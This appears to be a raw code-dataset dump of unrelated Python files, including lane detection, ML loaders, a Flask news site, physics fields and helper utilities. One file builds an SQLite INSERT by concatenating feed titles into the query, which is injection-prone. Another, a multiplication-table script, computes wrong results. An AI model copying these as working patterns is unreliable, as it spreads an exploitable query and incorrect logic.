\"\"\"\r\n\r\n global left_line, right_line, frame_counter\r\n\r\n # Undistort the current frame\r\n undistorted_frame = undistort(frame)\r\n\r\n # Create the binary feature mask for the undistorted frame\r\n features_binary = feature_mask(undistorted_frame)\r\n\r\n # Perspective transformation (warp) of the features binary\r\n warped_features, trsf_mtx, trsf_mtx_inv = warp(\r\n features_binary, ROI_SRC, ROI_DST)\r\n\r\n # Detect and refit the lane lines on the warped features binary\r\n if not left_line.detected or not right_line.detected:\r\n # If the lines were not detected before or are in lost status relocate\r\n # by the sliding windows approach\r\n left_line, right_line, window_img = fit_lines_by_windows(\r\n warped_features, left_line, right_line)\r\n else:\r\n # If the lines are still detected, the recent lines information will be\r\n # used for the current detection\r\n left_line, right_line, window_img = fit_lines_by_recent_lines(\r\n warped_features, left_line, right_line)\r\n\r\n # Draw the detected lane lines and lane area on the unwarped frame\r\n unwarped_lane = draw_lane_on_unwarped_frame(\r\n undistorted_frame, left_line, right_line, trsf_mtx_inv)\r\n\r\n # Compute the vehicle offset and the average curvature radius\r\n avg_vehicle_offset = 0.5 * abs(left_line.offset_from_vehicle\r\n + right_line.offset_from_vehicle)\r\n avg_curv_rad = 0.5 * (left_line.radius_of_curvature\r\n + right_line.radius_of_curvature)\r\n\r\n # Draw intermediate results on top of the main frame for information\r\n processed_frame = post_process(undistorted_frame, features_binary,\r\n warped_features, window_img, unwarped_lane,\r\n avg_curv_rad, avg_vehicle_offset,\r\n left_line, right_line)\r\n\r\n # if frame_counter % 30 == 0:\r\n # mpimg.imsave(f\"test/project_video_{frame_counter}.jpg\", frame)\r\n # mpimg.imsave(f\"test/challange_{frame_counter}.jpg\", frame)\r\n # mpimg.imsave(f\"test/harder_challange_{frame_counter}.jpg\", frame)\r\n\r\n frame_counter += 1\r\n\r\n return processed_frame\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n video_mode = True\r\n # video_mode = False\r\n\r\n if video_mode:\r\n\r\n # video = \"project_video.mp4\"\r\n video = \"challenge_video.mp4\"\r\n # video = \"harder_challenge_video.mp4\"\r\n\r\n output = f\"output_videos/{video}\"\r\n # To speed up the testing process you may want to try your pipeline\r\n # on a shorter subclip of the video.\r\n # To do so add .subclip(start_second,end_second) to the end of the\r\n # line below where start_second and end_second are integer values\r\n # representing the start and end of the subclip.\r\n # clip1 = VideoFileClip(f\"{video}\").subclip(0, 5)\r\n clip1 = VideoFileClip(f\"{video}\")\r\n # NOTE: this function expects color images!!\r\n clip = clip1.fl_image(process)\r\n clip.write_videofile(output, audio=False)\r\n\r\n else:\r\n\r\n # TEST_DIR = \"test_images\"\r\n # OUTPUT_DIR = \"output_images\"\r\n TEST_DIR = \"test_images_extended/challange\"\r\n OUTPUT_DIR = \"./output_images_extended\"\r\n files = [file for file in os.listdir(TEST_DIR)]\r\n\r\n for i, file in enumerate(files):\r\n frame = mpimg.imread(f\"{TEST_DIR}/{file}\")\r\n processed_frame = process(frame)\r\n mpimg.imsave(f\"{OUTPUT_DIR}/{i}_processed_{file}\", processed_frame)\r\n left_line = Line()\r\n right_line = Line()\r\n","sub_path":"advanced_lane_finding.py","file_name":"advanced_lane_finding.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"145770540","text":"def p_tabla_multiplicar(p_tabla,p_valor_ini,p_valor_fin):\n for i in range(p_tabla,p_valor_ini,p_valor_fin+1):\n v_result=p_tabla+1\n print(p_tabla , \"multiplicado por \", 1 ,\"es : \", v_result)\n print(\"fin del programa\")\n\n\n\nv_tabla = int(input(\" cual tabla desea revisar : \"))\nv_valor_ini = int(input(\"Ingrese el rango inicial\"))\nv_valor_fin = int(input(\"Ingrese el rango final\"))\np_tabla_multiplicar(v_tabla,v_valor_ini,v_valor_fin)","sub_path":"Calc.py","file_name":"Calc.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"636969768","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/zeus/PyTorch-Hackathon-2019/rectifai/models/posturenet/network.py\n# Compiled at: 2019-09-17 12:17:44\n# Size of source mod 2**32: 664 bytes\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom .config import *\n\nclass PostureNetwork(nn.Module):\n\n def __init__(self, input_size=input_size, hidden_sizes=hidden_sizes, n_classes=n_classes):\n super(PostureNetwork, self).__init__()\n self.fc1 = nn.Linear(input_size, hidden_sizes[0])\n self.fc2 = nn.Linear(hidden_sizes[0], hidden_sizes[1])\n self.fc3 = nn.Linear(hidden_sizes[1], n_classes)\n self.relu = nn.ReLU()\n\n def forward(self, x):\n out = self.fc1(x)\n out = self.relu(out)\n out = self.fc2(out)\n out = self.relu(out)\n out = self.fc3(out)\n return out","sub_path":"pycfiles/rectif-ai-0.1.tar/network.cpython-37.py","file_name":"network.cpython-37.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"97742129","text":"# -*- coding: utf-8 -*-\nimport sys\nimport re\nimport datetime\nimport sqlite3\nimport feedparser\n\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n sys.exit(\"usage : > python GetYahooTitle.py [URLFileName]\")\n dbname = sys.argv[1]\n urlfile = sys.argv[2]\n\n timestump = datetime.datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\")\n\n conn = sqlite3.connect(dbname)\n c = conn.cursor()\n\n with open(urlfile, 'r') as fh:\n for line in fh:\n if line[0] == '#':\n continue\n d = feedparser.parse(line)\n\n for entry in d['entries']:\n# print(\"title:\", entry.title)\n query = \"insert into YahooTitle values (\\\"\" + timestump + \"\\\",\\\"\" + entry.title + \"\\\")\"\n try:\n c.execute(query)\n conn.commit()\n except:\n print(\"Error!!\" + entry.title + entry.link)\n continue\n c.close()\n","sub_path":"GetYahooTitle.py","file_name":"GetYahooTitle.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"26154518","text":"import os\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\n\n\ndef load_data2(path):\n # load all MNIST data\n fd = open(os.path.join(path, 'train-images-idx3-ubyte'))\n loaded = np.fromfile(file=fd, dtype=np.uint8)\n train_X = loaded[16:].reshape((60000, 28, 28, 1)).astype(np.float)\n fd = open(os.path.join(path, 'train-labels-idx1-ubyte'))\n loaded = np.fromfile(file=fd, dtype=np.uint8)\n train_Y = loaded[8:].reshape(60000).astype(np.float)\n fd = open(os.path.join(path, 't10k-images-idx3-ubyte'))\n loaded = np.fromfile(file=fd, dtype=np.uint8)\n test_X = loaded[16:].reshape((10000, 28, 28, 1)).astype(np.float)\n fd = open(os.path.join(path, 't10k-labels-idx1-ubyte'))\n loaded = np.fromfile(file=fd, dtype=np.uint8)\n test_Y = loaded[8:].reshape(10000).astype(np.float)\n\n #visualiza data\n sample_num = 8\n num_classes = 10\n for y in range(num_classes):\n idxs = np.flatnonzero(train_Y == y)\n idxs = np.random.choice(idxs, sample_num, replace=False)\n for i, idx in enumerate(idxs):\n plt_idx = i * num_classes + y + 1\n plt.subplot(sample_num, num_classes, plt_idx)\n plt.imshow(train_X[idx, :, :, :].reshape((28,28)),cmap=plt.cm.gray)\n plt.axis('off')\n if i == 0:\n plt.title(y)\n plt.show()\n\n # reshaple into rows and normaliza\n train_X = train_X.reshape((train_X.shape[0], -1))\n test_X = test_X.reshape((test_X.shape[0], -1))\n mean_image = np.mean(train_X, axis=0)\n train_X = train_X - mean_image\n test_X = test_X - mean_image\n\n # add a bias columu into X\n train_X = np.hstack([train_X, np.ones((train_X.shape[0], 1))])\n test_X = np.hstack([test_X, np.ones((test_X.shape[0], 1))])\n train_Y = train_Y.astype(np.int32)\n test_Y = test_Y.astype(np.int32)\n return train_X, train_Y, test_X, test_Y\n\n\nX_train, Y_train, X_test, Y_test = load_data2('/home/kesci/input/MNIST_dataset4284')","sub_path":"assignment1-logistic_regression/multi-class-classification/dataset2.py","file_name":"dataset2.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"518526683","text":"# Univariate Density Plots\nfrom matplotlib import pyplot\nfrom pandas import read_csv\nfrom pandas import set_option\nfrom pandas.plotting import scatter_matrix\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import StandardScaler\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\nimport numpy as np\nimport matplotlib.font_manager\n\nVERBOSE = False # set to True for debugging info\nprint (\"Environment scan...\")\n\n# Check the versions of libraries\nimport sys\nprint('-> Python: {}'.format(sys.version))\nprint('-> matplotlib: {}'.format(matplotlib.__version__))\nprint('-> pandas: {}'.format(pd.__version__))\nprint('-> sklearn: {}'.format(sklearn.__version__))\n\n# extend line width when printing\npd.set_option('display.width', 200)\npd.set_option('display.max_columns', 20)\n\nfilename = 'samplefile.csv'\nnp.set_printoptions(linewidth=200)\n####\ndata = read_csv(filename, header=0)\nData= data.loc[data['type'] == 'train']\nfileDates = data['date'] #store dates\nfileTypes = data['type'] #store Types\ndata = data.drop('date' ,axis=1) # remove date column\ndata = data.drop ('type', axis =1) # remove type column\nfileCols = data.columns # grab col names for re-insersion after normalization\n\nprint (\"columns: \",fileCols)\nif VERBOSE:\n print (\"------------------------------raw data----------------------------------------------------------\")\n print(data)\nscaler = MinMaxScaler(feature_range=(0, 1)) #change scale to 0-1 range to make the machine happy :-)\ndata = scaler.fit_transform(data)\nif VERBOSE:\n print (\"-------------------------------transformed to 0-1 normalized data....------------------------------------------\")\n print (data)\nscaler = StandardScaler().fit(data) #0 mean 1, std deviation\ndata = scaler.transform(data)\nif VERBOSE:\n print (\"-------------------------------transformed to 0 mean 1, std deviation...------------------------------------------\")\n print (data)\n\ndata = pd.DataFrame(data=data, columns=fileCols) # change normalized data back into pandas data frame, reinsert columns\nset_option('display.width', 550)\nset_option('precision', 1)\nprint ( \"\\nfileshape =\" , data.shape)\nset_option('display.float_format', '{:.2f}'.format)\nprint ( \"\\nfile description =\\n\" , data.describe())\nif VERBOSE:\n print('--')\n print (\"-----------------------normalized and framed data....------------------------------------------\")\n print(data)\n print('--')\n#scatter_matrix(data)\n\ndata.plot(kind='density', subplots=True, sharex=False,layout=(3,4))\nprint (data.describe())\npyplot.show()\n#now re-insert date and type into the frame\ndata['date']=fileDates\ndata['type']=fileTypes\n\ntrainData = data.loc[data['type'] == 'train']\n\n\nX_train, X_test = train_test_split(trainData, test_size=.33, random_state=4) #split data into train and test data (66% train data)\nX_trainClean=X_train.iloc[:, :-2] # [:, -2:] = use the entier set and drop last 2 cols ( date and type)\nX_testClean=X_train.iloc[:, :-2] # [:, -2:] = use the entier set and drop last 2 cols ( date and type)\n\nclassGamma =.2\nclassNu = 0.1\nfrontier_offset =3\n\n# fit the model\nprint(\"-> Machine Training starting (using Non-linear SVM Novelty classfier)\")\n#clf = svm.OneClassSVM(nu=classNu, kernel=\"rbf\", gamma=classGamma)\nclf = svm.OneClassSVM(nu=classNu, kernel=\"rbf\", gamma=classGamma)\nclf.fit(X_trainClean)\n\nx_pred_train = clf.predict(X_trainClean)\n\ncount=0\nfor index, row in X_train.iterrows():\n # print (\"----->\",row)\n if x_pred_train[count] == -1:\n print ( row[10], \": File details are different enough from the other files that it will not be used as part of the training set \" )\n else:\n print(row[10], \".....ok \")\n count=count+1\n\nprint (\"Machine has been trained.. \\n\\n\\n\\ \")\n\nresult1 = clf.score_samples(X_testClean)\nprint (\" score->>>> \", np.average (np.exp(result1)))\n\n\nx = np.linspace(0, 1, len ( result1))\npyplot.scatter (x, np.exp(result1))\n\n#-------------------------------TEST PRODUCTION FILE-------------------\n\n\ntestData = data.loc[data['type'] == 'test']\ntestClean=testData.iloc[:, :-2]\npred_test = clf.predict(testClean) #evaluate production files\n\n# n_error_train = x_pred_train[x_pred_train == -1].size\n# n_error_test = y_pred_test[y_pred_test == -1].size\n# print (\"n_error_train\",n_error_train)\n# print (\"n_error_test\",n_error_test)\nresult = clf.score_samples(testClean)\nprint (\" production score->>>> \", np.exp(result))\n\n\n#print (testClean)\ncount =0\nfor index, row in testData.iterrows():\n if pred_test[count] == -1:\n print (\"** DO NOT SEND TO IMATCH BEFORE INVESTIGATING** : file for \",row[10], \" has failed its integrity test. \" )\n else:\n print(\"OK TO SEND TO IMATCH. File for :\", row[10], \" has passsed the integrity test .\")\n count= count+1\nx = np.linspace(0, 1, len(result))\npyplot.scatter (x, np.exp(result), color='red')\npyplot.show()","sub_path":"venv/loader530.py","file_name":"loader530.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"352453922","text":"import sublime\nimport os\nimport hashlib\nimport sys\n\n# read content from a file\ndef readFile(path):\n f = open(path, \"r\")\n content = f.read()\n f.close()\n return content\n\n# write content to a file\ndef writeFile(path, content):\n f = open(path, \"w\")\n f.write(content)\n f.close()\n\n# check file extention\ndef checkFileExt(file,ext):\n ext1 = os.path.splitext(file)[1][1:]\n if ext1 == ext:\n return True\n else:\n return False\n\n\ndef deleteFiles(path,root):\n if not os.path.exists(path):\n return\n if os.path.isfile(path):\n try:\n os.remove(path)\n except Exception:\n pass\n elif os.path.isdir(path):\n for item in os.listdir(path):\n itemsrc=os.path.join(path,item)\n deleteFiles(itemsrc,root)\n if path != root: \n try:\n os.rmdir(path)\n except Exception:\n pass\n\ndef md5(str):\n return hashlib.md5(str.encode(sys.getfilesystemencoding())).hexdigest()\n\ndef isST3():\n return sublime.version()[0] == '3'\n\ndef loadSettings(name):\n return sublime.load_settings(name+\".sublime-settings\")\n","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"208566285","text":"import math as ma\nimport pyHiChi as hichi\nimport hichi_primitives as hp\nfrom numba import cfunc, float64, jit, njit, types, carray\nfrom numba.experimental import jitclass\nimport numpy as np\n\n# Spherical wave can be created by two ways: with Python and with C++\n# C++ is faster\n\n# --------- creating spherical pulse with python -------------------\n\n\nclass SphericalPulsePython():\n \n def __init__(self,\n f_number=0.3,\n R0=16,\n pulselength=2.0,\n edge_smoothing_angle=0.1,\n wavelength=1.0,\n total_power=hichi.c\n ):\n \n self.wavelength = wavelength\n self.pulselength = pulselength*wavelength\n self.R0 = R0*wavelength\n self.total_power = total_power\n self.f_number = f_number\n self.edge_smoothing_angle = edge_smoothing_angle\n self.opening_angle = np.arctan(1.0/(2.0*f_number))\n \n opening_angle = self.opening_angle\n \n @njit\n def longitudinal_field_variation(x):\n return np.sin(2*hichi.pi*x/wavelength) * \\\n np.cos(hichi.pi*x/pulselength)**2 * \\\n hp.block(x, -0.5*pulselength, 0.5*pulselength)\n self.longitudinal_field_variation = longitudinal_field_variation\n \n @njit\n def transverse_shape(angle):\n angle1 = opening_angle - edge_smoothing_angle*0.5\n angle2 = opening_angle + edge_smoothing_angle*0.5\n return hp.block(angle, -1.0, angle1) + \\\n (np.cos(0.5*hichi.pi*(angle - angle1)/edge_smoothing_angle)**2 * \\\n hp.block(angle, angle1, angle2) if (not edge_smoothing_angle == 0.0) \\\n else 0.0)\n self.transverse_shape = transverse_shape\n \n amp = np.sqrt(total_power*4.0/(hichi.c*(1.0 - np.cos(opening_angle))))\n \n @njit\n def get_polarisation():\n return hp.Vector3d(0.0, 1.0, 0.0)\n \n @njit\n def mask(x, y, z):\n R = np.sqrt(x*x + y*y + z*z)\n if(R > 1e-5):\n angle = np.arcsin(np.sqrt(y*y + z*z)/R)\n return (amp/R)*longitudinal_field_variation(R - R0)*transverse_shape(angle)*(x < 0)\n else:\n return 0\n self.mask = mask\n \n @cfunc(\"void(float64,float64,float64,types.CPointer(float64))\", nopython=True)\n def EM_field(x, y, z, field_arr_):\n r = hp.Vector3d(x, y, z)\n s1 = hp.cross(get_polarisation(), r)\n s1.normalize()\n s0 = hp.cross(r, s1)\n s0.normalize()\n m = mask(x, y, z)\n field_arr = carray(field_arr_, (6)) \n field_arr[0] = m*s0.x # Ex\n field_arr[1] = m*s0.y # Ey\n field_arr[2] = m*s0.z # Ez \n field_arr[3] = m*s1.x # Bx\n field_arr[4] = m*s1.y # By\n field_arr[5] = m*s1.z # Bz\n \n def set_field_(field):\n field.set(EM_field.address)\n \n self.set_field = set_field_\n \n \n# --------- creating spherical pulse from C++ ---------------------------------------------------------------\n\n\nclass SphericalPulseC():\n \n def __init__(self,\n f_number=0.3,\n R0=16,\n pulselength=2.0,\n edge_smoothing_angle=0.1,\n wavelength=1.0,\n total_power=hichi.c\n ):\n \n self.wavelength = wavelength\n self.pulselength = pulselength*wavelength\n self.R0 = R0*wavelength\n self.total_power = total_power\n self.f_number = f_number\n self.edge_smoothing_angle = edge_smoothing_angle\n self.opening_angle = np.arctan(1.0/(2.0*f_number))\n \n tight_focusing_conf = hichi.TightFocusingField(f_number,\n R0,\n wavelength,\n pulselength,\n total_power,\n edge_smoothing_angle\n ) \n def set_field_(field):\n field.set(tight_focusing_conf)\n \n self.set_field = set_field_\n\n","sub_path":"example-tests/tight_focusing/tight_focusing_fields.py","file_name":"tight_focusing_fields.py","file_ext":"py","file_size_in_byte":4423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"80718409","text":"import random\r\nimport sys\r\nR=33\r\nC=45\r\n\r\nsys.setrecursionlimit(3000)\r\nvisited=[]\r\ntrac=[]\r\n\r\ndef isLegit(r, c):\r\n if r<R and r>=0 and c<C and c>=0:\r\n return True\r\n else:\r\n return False\r\n\r\ndef generate(pac,food):\r\n visited.append(pac)\r\n init = [(-1, 0), (0, -1), (1, 0), (0, 1)]\r\n random.shuffle(init)\r\n init = [(pac[0]+i[0], pac[1]+i[1]) for i in init]\r\n for i in init:\r\n \tif isLegit(i[0], i[1]):\r\n \t\tif dfs(i, visited, food) == True:\r\n \t\t\tbreak\r\n return visited\r\n\r\ndef dfs(i, visited, food):\r\n\tif i == food:\r\n\t\tvisited.append(i)\r\n\t\treturn True\r\n\r\n\tinit = [(-1, 0), (0, -1), (1, 0), (0, 1)]\r\n\trandom.shuffle(init)\r\n\tinit = [(i[0]+j[0], i[1]+j[1]) for j in init]\r\n\tinit = [k for k in init if (isLegit(k[0], k[1])) and (k not in visited)]\r\n\tif len(init) == 0:\r\n\t\treturn False\r\n\tvisited.append(i)\r\n\r\n\tfor j in init:\r\n\t\tif dfs(j, visited, food) == True:\r\n\t\t\treturn True\r\n\treturn False\r\n","sub_path":"use1.py","file_name":"use1.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"590702757","text":"from unittest import TestCase, mock\n\nfrom requests import exceptions\n\nfrom simbad_dap import SimbadDAP\n\n\nclass TestSimbad(TestCase):\n @mock.patch('requests.post', side_effect=exceptions.ConnectionError)\n @mock.patch('logging.error')\n def test_tap_query_exception(self, mock_error, mock_post):\n self.assertEqual({}, SimbadDAP.tap_query('https://simbad.u-strasbg.fr/simbad/sim-tap', 'select * from basic'))\n mock_post.assert_called_with('https://simbad.u-strasbg.fr/simbad/sim-tap/sync',\n data={'request': 'doQuery', 'lang': 'adql', 'format': 'csv', 'maxrec': -1,\n 'query': 'select * from basic'}, stream=True)\n mock_error.assert_called_with('Error while retrieving results of the query: select * from basic')\n\n def test_parse_input_use_parent(self):\n simbad = SimbadDAP('HD 1')\n simbad.cache = {simbad.external_id: []}\n simbad.prepare_data()\n self.assertEqual(simbad.db_property, simbad.input_snaks[0]['property'])\n self.assertEqual(simbad.external_id, simbad.input_snaks[0]['datavalue']['value'])\n","sub_path":"src/test_simbad_dap.py","file_name":"test_simbad_dap.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"112405529","text":"from info import constants\r\nfrom info import db\r\nfrom info.models import Comment, CommentLike, User\r\nfrom info.response_code import RET\r\nfrom . import news_blu\r\nfrom flask import render_template, session, current_app, g, abort, request, jsonify\r\nfrom info.utils.common import user_login_data\r\n\r\n\r\n@news_blu.route('/<int:news_id>')\r\n@user_login_data\r\ndef news_detail(news_id):\r\n # 查询文章\r\n try:\r\n from info.models import News\r\n news = News.query.get(news_id)\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"查询数据库错误\")\r\n\r\n if not news:\r\n abort(404)\r\n\r\n # 获取当前文章评论\r\n comments = []\r\n try:\r\n comments = Comment.query.filter(Comment.news_id == news_id).order_by(Comment.create_time.desc()).all()\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"查询数据库错误\")\r\n\r\n comment_like_ids = []\r\n if g.user:\r\n try:\r\n comment_ids = [comment.id for comment in comments]\r\n if len(comment_ids) > 0:\r\n # 获取当前用户在当前新闻的所有点赞的记录\r\n comment_likes = CommentLike.query.filter(CommentLike.comment_id.in_(comment_ids),\r\n CommentLike.user_id == g.user.id).all()\r\n # 取出记录中的所有的评论id\r\n comment_like_ids = [comment_like.comment_id for comment_like in comment_likes]\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n\r\n comment_list = []\r\n for item in comments if comments else []:\r\n comment_dict = item.to_dict()\r\n comment_dict['is_like'] = False\r\n if g.user and item.id in comment_like_ids:\r\n comment_dict['is_like'] = True\r\n comment_list.append(comment_dict)\r\n count = len(comment_list)\r\n # 当前登录者是否关注作者\r\n is_followed = False\r\n # 判断是否收藏文章,默认未收藏\r\n is_collected = False\r\n if g.user:\r\n if news in g.user.collection_news:\r\n is_collected = True\r\n if news.user:\r\n if news.user.followers.filter(User.id == g.user.id).count() > 0:\r\n is_followed = True\r\n\r\n # 点击排行\r\n news_list = None\r\n try:\r\n from info.models import News\r\n news_list = News.query.order_by(News.clicks.desc()).limit(constants.CLICK_RANK_MAX_NEWS)\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n news.clicks += 1\r\n # 提交到数据库\r\n db.session.commit()\r\n\r\n\r\n\r\n\r\n\r\n return render_template('news/detail.html',count=count, comment_list=comment_list, is_collected=is_collected, news=news.to_dict(),\r\n new_list=news_list, user=g.user.to_dict() if g.user else None, is_follower=is_followed)\r\n\r\n\r\n@news_blu.route(\"/news_collect\", methods=[\"POST\"])\r\n@user_login_data\r\ndef new_collect():\r\n \"\"\"收藏\"\"\"\r\n user = g.user\r\n data = request.json\r\n news_id = data.get(\"news_id\")\r\n action = data.get(\"action\")\r\n\r\n if not user:\r\n \"\"\"用户未登录\"\"\"\r\n return jsonify(errno=RET.SESSIONERR, errmsg=\"用户未登录\")\r\n\r\n if not news_id:\r\n return jsonify(errno=RET.PARAMERR, errmsg=\"参数错误\")\r\n\r\n if action not in (\"collect\", \"cancel_collect\"):\r\n return jsonify(errno=RET.PARAMERR, errmsg=\"参数错误\")\r\n\r\n try:\r\n from info.models import News\r\n news = News.query.get(news_id)\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"查询失败\")\r\n\r\n if not news:\r\n return jsonify(errno=RET.DATAERR, errmst=\"数据不存在\")\r\n\r\n if action == \"collect\":\r\n user.collection_news.append(news)\r\n\r\n else:\r\n user.collection_news.remove(news)\r\n\r\n try:\r\n db.session.commit()\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n db.session.rollback()\r\n return jsonify(errno=RET.DBERR, errmsg=\"保存数据失败\")\r\n\r\n return jsonify(errno=RET.OK, errmsg=\"操作成功\")\r\n\r\n\r\n@news_blu.route(\"news_comment\", methods=[\"POST\"])\r\n@user_login_data\r\ndef news_comment():\r\n \"\"\"评论\"\"\"\r\n user = g.user\r\n if not user:\r\n \"\"\"用户未登录\"\"\"\r\n return jsonify(errno=RET.SERVERERR, errmsg=\"用户未登录\")\r\n\r\n data = request.json\r\n news_id = data.get(\"news_id\")\r\n comment = data.get(\"comment\")\r\n parent_id = data.get(\"parent_id\")\r\n\r\n if not all([news_id, comment]):\r\n \"\"\"参数不足\"\"\"\r\n return jsonify(errno=RET.PARAMERR, errmsg=\"参数不足\")\r\n\r\n try:\r\n from info.models import News\r\n news = News.query.get(news_id)\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"数据库查询错误\")\r\n\r\n if not news:\r\n return jsonify(errno=RET.DATAERR, errmsg=\"文章不存在\")\r\n\r\n # 初始化模型,保存数据\r\n com = Comment()\r\n com.user_id = user.id\r\n com.news_id = news_id\r\n com.content = comment\r\n\r\n if parent_id:\r\n com.parent_id = parent_id\r\n\r\n # 保存数据\r\n try:\r\n db.session.add(com)\r\n db.session.commit()\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"保存数据失败\")\r\n\r\n return jsonify(errno=RET.OK, data=com.to_dict())\r\n\r\n\r\n@news_blu.route(\"/comment_like\",methods=[\"POST\"])\r\n@user_login_data\r\ndef comment_like():\r\n \"\"\"点赞\"\"\"\r\n if not g.user:\r\n return jsonify(errno=RET.USERERR, errmsg=\"用户未登录\")\r\n\r\n # 获取参数\r\n data = request.json\r\n comment_id = data.get(\"comment_id\")\r\n news_id = data.get(\"news_id\")\r\n action = data.get(\"action\")\r\n\r\n # 判断参数\r\n if not all ([comment_id,news_id,action]):\r\n return jsonify(errno=RET.PARAMERR, errmsg=\"参数错误\")\r\n\r\n if action not in (\"add\",\"remove\"):\r\n return jsonify(errno=RET.PARAMERR, errmsg=\"参数错误\")\r\n\r\n # 查询数据\r\n try:\r\n comment = Comment.query.get(comment_id)\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"查询数据错误\")\r\n\r\n if not comment:\r\n return jsonify(errno=RET.NODATA, errmsg=\"评论数据不存在\")\r\n\r\n if action == \"add\":\r\n comment_like = CommentLike.query.filter_by(comment_id=comment_id, user_id=g.user.id).first()\r\n if not comment_like:\r\n comment_like = CommentLike()\r\n comment_like.comment_id = comment_id\r\n comment_like.user_id = g.user.id\r\n db.session.add(comment_like)\r\n comment.like_count += 1\r\n else:\r\n # 删除点赞数据\r\n comment_like = CommentLike.query.filter_by(comment_id=comment_id, user_id=g.user.id).first()\r\n if comment_like:\r\n db.session.delete(comment_like)\r\n comment.like_count -= 1\r\n\r\n try:\r\n db.session.commit()\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"数据存储失败\")\r\n\r\n return jsonify(errno=RET.OK, errmsg=\"操作成功\")\r\n\r\n@news_blu.route(\"/followed_user\",methods=['POST'])\r\n@user_login_data\r\ndef followed_user():\r\n \"\"\"关注\"\"\"\r\n if not g.user:\r\n return jsonify(errno=RET.USERERR, errmsg=\"用户未登录\")\r\n\r\n user_id = request.json.get(\"user_id\")\r\n action = request.json.get(\"action\")\r\n\r\n # 参数判断\r\n if not all([user_id,action]):\r\n return jsonify(errno=RET.PARAMERR, errmsg=\"参数错误\")\r\n\r\n if action not in (\"follow\", \"unfollow\"):\r\n return jsonify(errno=RET.PARAMERR, errmsg=\"参数错误\")\r\n\r\n # 查询到关注的用户的信息\r\n try:\r\n target_user = User.query.get(user_id)\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"查询数据错误\")\r\n\r\n if not target_user:\r\n return jsonify(errno=RET.NODATA, errmsg=\"未查询到用户\")\r\n\r\n # 根据不同行为做处理\r\n if action == \"follow\":\r\n if target_user.followers.filter(User.id==g.user.id).count() > 0:\r\n return jsonify(errno=RET.DATAEXIST, errmsg=\"当前已关注\")\r\n target_user.followers.append(g.user)\r\n else:\r\n if target_user.followers.filter(User.id == g.user.id).count() > 0:\r\n target_user.followers.remove(g.user)\r\n\r\n # 保存到数据库\r\n try:\r\n db.session.commit()\r\n except Exception as e:\r\n current_app.logger.error(e)\r\n return jsonify(errno=RET.DBERR, errmsg=\"数据库保存错误\")\r\n\r\n return jsonify(errno=RET.OK, errmsg=\"操作成功\")\r\n\r\n\r\n","sub_path":"info/moduls/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"137543590","text":"#\n# MIT License\n#\n# Copyright (c) 2020 Airbyte\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR 